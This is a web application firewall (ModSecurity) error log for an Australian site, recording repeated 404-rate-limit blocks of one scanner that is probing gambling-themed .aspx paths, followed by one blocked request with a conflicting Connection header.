[Fri Apr 10 16:49:39.650569 2026] [:error] [pid 3934:tid 3949] [client 185.126.114.51:45728] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adi5o4a41m-BS8mg82cnCQAAAMo"]
[Fri Apr 10 16:49:42.198657 2026] [:error] [pid 13189:tid 13200] [client 185.126.114.51:45746] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adi5ppAxiJKPums3eBAoUwAAAEg"]
[Fri Apr 10 16:49:44.903988 2026] [:error] [pid 3934:tid 3948] [client 185.126.114.51:45762] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adi5qIa41m-BS8mg82cnMAAAAMk"]
[Fri Apr 10 16:49:47.400301 2026] [:error] [pid 3934:tid 3942] [client 185.126.114.51:45780] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adi5q4a41m-BS8mg82cnQgAAAMM"]
[Fri Apr 10 16:49:50.483776 2026] [:error] [pid 3934:tid 3954] [client 185.126.114.51:45806] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adi5roa41m-BS8mg82cnZgAAAM8"]
[Fri Apr 10 16:49:52.989250 2026] [:error] [pid 3934:tid 3961] [client 185.126.114.51:45830] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adi5sIa41m-BS8mg82cndwAAANY"]
[Fri Apr 10 16:49:55.702337 2026] [:error] [pid 13189:tid 13207] [client 185.126.114.51:45854] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adi5s5AxiJKPums3eBAooQAAAE8"]
[Fri Apr 10 16:49:58.389508 2026] [:error] [pid 13102:tid 13182] [client 185.126.114.51:45882] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adi5tv9xLvjW2guI55YhcAAAABY"]
[Fri Apr 10 16:50:00.842673 2026] [:error] [pid 13189:tid 13201] [client 185.126.114.51:45900] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adi5uJAxiJKPums3eBAorAAAAEk"]
[Fri Apr 10 16:50:03.558503 2026] [:error] [pid 13101:tid 13140] [client 185.126.114.51:45924] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adi5u98Ldw85818pj2pviQAAAIc"]
[Fri Apr 10 16:50:06.231700 2026] [:error] [pid 3934:tid 3959] [client 185.126.114.51:45944] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adi5voa41m-BS8mg82cntAAAANQ"]
[Fri Apr 10 16:50:08.974354 2026] [:error] [pid 13102:tid 13172] [client 185.126.114.51:45966] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adi5wP9xLvjW2guI55YhlAAAAAw"]
[Fri Apr 10 16:50:11.442101 2026] [:error] [pid 13189:tid 13207] [client 185.126.114.51:45986] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adi5w5AxiJKPums3eBAo2QAAAE8"]
[Fri Apr 10 16:50:14.288930 2026] [:error] [pid 13189:tid 13207] [client 185.126.114.51:46010] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adi5xpAxiJKPums3eBAo6QAAAE8"]
[Fri Apr 10 16:50:16.926875 2026] [:error] [pid 13102:tid 13162] [client 185.126.114.51:46040] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adi5yP9xLvjW2guI55YhngAAAAI"]
[Fri Apr 10 16:50:19.863924 2026] [:error] [pid 13100:tid 13108] [client 185.126.114.51:46058] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "adi5y1zg-ZkZ0InWIP1gogAAAQM"]
[Fri Apr 10 16:50:22.592827 2026] [:error] [pid 3934:tid 3947] [client 185.126.114.51:46078] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adi5zoa41m-BS8mg82cn5QAAAMg"]
[Fri Apr 10 16:51:06.898221 2026] [:error] [pid 13102:tid 13173] [client 185.126.114.51:46102] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "adi5-v9xLvjW2guI55YiNAAAAA0"]
[Fri Apr 10 16:51:09.489902 2026] [:error] [pid 13189:tid 13199] [client 185.126.114.51:46446] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adi5_ZAxiJKPums3eBApaAAAAEc"]
[Fri Apr 10 16:51:12.461818 2026] [:error] [pid 3934:tid 3940] [client 185.126.114.51:46472] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adi6AIa41m-BS8mg82cojQAAAME"]
[Fri Apr 10 16:51:15.197943 2026] [:error] [pid 13189:tid 13203] [client 185.126.114.51:46502] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adi6A5AxiJKPums3eBApdgAAAEs"]
[Fri Apr 10 16:51:17.937934 2026] [:error] [pid 13102:tid 13175] [client 185.126.114.51:46548] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adi6Bf9xLvjW2guI55YiRgAAAA8"]
[Fri Apr 10 16:51:20.721858 2026] [:error] [pid 13189:tid 13199] [client 185.126.114.51:46582] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adi6CJAxiJKPums3eBApgwAAAEc"]
[Fri Apr 10 16:51:23.374616 2026] [:error] [pid 3934:tid 3944] [client 185.126.114.51:46614] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adi6C4a41m-BS8mg82coowAAAMU"]
[Fri Apr 10 16:51:26.022718 2026] [:error] [pid 13189:tid 13216] [client 185.126.114.51:46646] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adi6DpAxiJKPums3eBApmAAAAFg"]
[Fri Apr 10 16:51:28.855478 2026] [:error] [pid 3934:tid 3958] [client 185.126.114.51:46692] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adi6EIa41m-BS8mg82coqAAAANM"]
[Fri Apr 10 16:51:31.635725 2026] [:error] [pid 3934:tid 3949] [client 185.126.114.51:46720] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adi6E4a41m-BS8mg82couAAAAMo"]
[Fri Apr 10 16:51:34.233753 2026] [:error] [pid 13100:tid 13110] [client 185.126.114.51:46750] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adi6Flzg-ZkZ0InWIP1hIQAAAQU"]
[Fri Apr 10 16:51:36.752982 2026] [:error] [pid 13189:tid 13202] [client 185.126.114.51:46784] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adi6GJAxiJKPums3eBApsQAAAEo"]
[Fri Apr 10 16:51:39.591736 2026] [:error] [pid 13102:tid 13174] [client 185.126.114.51:46820] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adi6G_9xLvjW2guI55YibgAAAA4"]
[Fri Apr 10 16:51:42.313286 2026] [:error] [pid 13102:tid 13172] [client 185.126.114.51:46846] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adi6Hv9xLvjW2guI55YiegAAAAw"]
[Fri Apr 10 16:51:45.007906 2026] [:error] [pid 3934:tid 3951] [client 185.126.114.51:46876] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adi6IYa41m-BS8mg82cpHwAAAMw"]
[Fri Apr 10 16:51:47.780499 2026] [:error] [pid 3934:tid 3961] [client 185.126.114.51:46920] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adi6I4a41m-BS8mg82cpNAAAANY"]
[Fri Apr 10 16:51:50.405918 2026] [:error] [pid 13189:tid 13216] [client 185.126.114.51:46946] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adi6JpAxiJKPums3eBAp6wAAAFg"]
[Fri Apr 10 16:51:52.956541 2026] [:error] [pid 3934:tid 3945] [client 185.126.114.51:46974] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adi6KIa41m-BS8mg82cpUAAAAMY"]
[Fri Apr 10 16:51:55.603410 2026] [:error] [pid 13100:tid 13109] [client 185.126.114.51:46996] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adi6K1zg-ZkZ0InWIP1heQAAAQQ"]
[Fri Apr 10 16:51:58.526384 2026] [:error] [pid 13102:tid 13161] [client 185.126.114.51:47020] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adi6Lv9xLvjW2guI55YijwAAAAE"]
[Fri Apr 10 16:52:01.375442 2026] [:error] [pid 13101:tid 13149] [client 185.126.114.51:47036] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adi6Md8Ldw85818pj2pwlgAAAJA"]
[Fri Apr 10 16:52:55.739506 2026] [:error] [pid 3934:tid 3952] [client 185.126.114.51:47062] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adi6Z4a41m-BS8mg82cqcgAAAM0"]
[Fri Apr 10 16:52:58.647580 2026] [:error] [pid 13189:tid 13213] [client 185.126.114.51:47270] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adi6apAxiJKPums3eBAqnwAAAFU"]
[Fri Apr 10 16:53:01.656053 2026] [:error] [pid 13189:tid 13215] [client 185.126.114.51:47286] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adi6bZAxiJKPums3eBAqwgAAAFc"]
[Fri Apr 10 16:53:04.587309 2026] [:error] [pid 13189:tid 13213] [client 185.126.114.51:47302] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adi6cJAxiJKPums3eBAq0AAAAFU"]
[Fri Apr 10 16:53:07.645577 2026] [:error] [pid 3934:tid 3957] [client 185.126.114.51:47310] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adi6c4a41m-BS8mg82cqlQAAANI"]
[Fri Apr 10 16:53:15.142248 2026] [:error] [pid 13189:tid 13216] [client 185.126.114.51:47328] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adi6e5AxiJKPums3eBArMwAAAFg"]
[Fri Apr 10 16:53:18.387026 2026] [:error] [pid 3934:tid 3963] [client 185.126.114.51:47348] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adi6foa41m-BS8mg82cq8wAAANg"]
[Fri Apr 10 16:53:21.099860 2026] [:error] [pid 13189:tid 13194] [client 185.126.114.51:47364] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adi6gZAxiJKPums3eBArmgAAAEI"]
[Fri Apr 10 16:53:23.739331 2026] [:error] [pid 13189:tid 13200] [client 185.126.114.51:47378] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adi6g5AxiJKPums3eBArsQAAAEg"]
[Fri Apr 10 16:53:26.371315 2026] [:error] [pid 13102:tid 13183] [client 185.126.114.51:47392] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adi6hv9xLvjW2guI55YjNAAAABc"]
[Fri Apr 10 16:53:29.044315 2026] [:error] [pid 3934:tid 3945] [client 185.126.114.51:47400] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adi6iYa41m-BS8mg82crRwAAAMY"]
[Fri Apr 10 16:53:31.719673 2026] [:error] [pid 13101:tid 13147] [client 185.126.114.51:47416] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adi6i98Ldw85818pj2pxPgAAAI4"]
[Fri Apr 10 16:53:34.291212 2026] [:error] [pid 13189:tid 13207] [client 185.126.114.51:47430] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adi6jpAxiJKPums3eBAr1gAAAE8"]
[Fri Apr 10 16:53:36.970561 2026] [:error] [pid 13189:tid 13216] [client 185.126.114.51:47448] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adi6kJAxiJKPums3eBAr3QAAAFg"]
[Fri Apr 10 16:53:39.586143 2026] [:error] [pid 3934:tid 3947] [client 185.126.114.51:47462] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adi6k4a41m-BS8mg82crXwAAAMg"]
[Fri Apr 10 16:53:42.213155 2026] [:error] [pid 3934:tid 3946] [client 185.126.114.51:47476] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adi6loa41m-BS8mg82crZQAAAMc"]
[Fri Apr 10 19:32:59.863047 2026] [:error] [pid 25984:tid 25996] [client 43.157.38.228:42646] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adjf67sdbY_MC14OH167aAAAAUc"]
